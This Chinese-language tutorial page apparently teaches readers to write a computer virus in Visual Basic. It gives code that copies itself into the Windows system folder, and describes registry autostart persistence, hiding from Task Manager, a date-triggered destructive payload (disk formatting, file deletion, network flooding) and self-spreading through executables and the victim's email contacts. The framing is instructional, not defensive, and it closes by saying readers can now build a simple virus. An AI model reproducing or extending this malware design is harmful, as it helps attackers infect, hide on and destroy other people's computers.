当前位置: U教授 电脑教程 如何用Visual Basic编写病毒

如何用Visual Basic编写病毒

时间:2023-03-25作者:admin
相信在使用电脑的时候,大家最痛恨的应该是病毒了,因为它给我们带来很多麻烦和损失,这样可恶的病毒人人得而诛之。那么你知道病毒是怎么编写出来的吗?相信绝大多数人是不知道的,那么以VB编写为例,接下来一起来看看编写病毒的过程。
 
如何用Visual Basic编写病毒
 
  用VB编写病毒需要考虑到如下几点:
 
  * 感染主机
 
  首先染毒文件运行后先要判断主机是否以感染病毒,也就是判断病毒主体文件是否存在,如果不存在则将病毒主体拷贝到指定位置(如:将病毒文件拷贝到c:windowssystem),可用filecopy语句实现;如果病毒已感染主机则结束判断。
 
  例如,判断C:windowssystemKiller.exe是否存在,如果有则退出判断,如果没有则证明本机未感染病毒,立即拷入病毒文件。
 
  病毒源文件名为game.exe
 
  声明部分:
 
  ""定义 FileExists% 函数
 
  public success%
 
  Function FileExists%(fname$)
 
  On Local Error Resume Next
 
  Dim ff%
 
  ff% = FreeFile
 
  Open fname$ For Input As ff%
 
  If Err Then
 
  FileExists% = False
 
  Else
 
  FileExists% = True
 
  End If
 
  Close ff%
 
  End Function
 
  代码部分:
 
  ""判断文件是否存在
 
  success% = FileExists%("C:windowssystemKiller.exe")
 
  If success% = False Then ""病毒不存在则拷贝病毒到计算机
 
  FileCopy "game.exe", "C:windowssystemKiller.exe"
 
  ... ""修改注册表,将其加入RUN中。(省略若干代码)
 
  End If
 
  * 开机启动病毒
 
  在病毒感染主机的同时,将自身加入注册表的开机运行中,这与向主机拷入病毒是同时进行的,主机感染后不再修改注册表。可通过编程和调用API函数对WIN注册表进行操作来实现,这样在每次启动计算机时病毒自动启动。(具体编写方法请查阅其它资料)
 
  * 任务管理器
 
  在任务管理器列表中禁止病毒本身被列出,可以通过编程来实现。用代码 App.TaskVisible = false 就可以实现;再有就是通过调用Win API函数来实现,这里就不作介绍了。
 
  * 病毒发作条件
 
  可用Day(Date)来判断今天是几号,再与确定好的日期作比较,相同则表现出病毒主体的破坏性,否则不发作。也可用Time、Date或其它方法作为病毒发作条件的判断。例:
 
  if day(date)=16 then ""16是发作日期,取值为1-31的整数
 
  ...... ""kill ******* 当日期相符时运行的破坏性代码(格式化、删除指定的文件类型、发送数据包杜塞网路等,省略若干代码)
 
  end if
 
  * 病毒的破坏性
 
  编写的此部分代码决定了病毒威力的强弱。轻的可以使系统资源迅速减少直至死机(需要你懂得一点蠕虫的原理),也就是实现开机即死的效果;也可以加入硬盘炸弹代码、系统后台删文件等。重的可以使计算机彻底瘫痪(不作介绍,你可以参阅其它病毒的有关资料)。
 
  * 病毒的繁殖
 
  原理很简单,就是将其自身与其它可执行文件合并,也就是两个文件并成一个文件。也可通过E-Mail传播,方法是病毒读取被感染主机的邮件列表,将带有病毒附件的E-Mail发给列表中的每一个人(这需要你懂得VB网络编程)。
 
  读完本文章相信您已对病毒的编写思路有了初步的了解,如果你是个VB爱好者,你已经可以编写一个很简单的病毒了,但你要是精通VB的话,请不要有编写后传播她的想法,因为传播她造成很大的影响将改变你的命运(被公安抓住就挂了)。

相关教程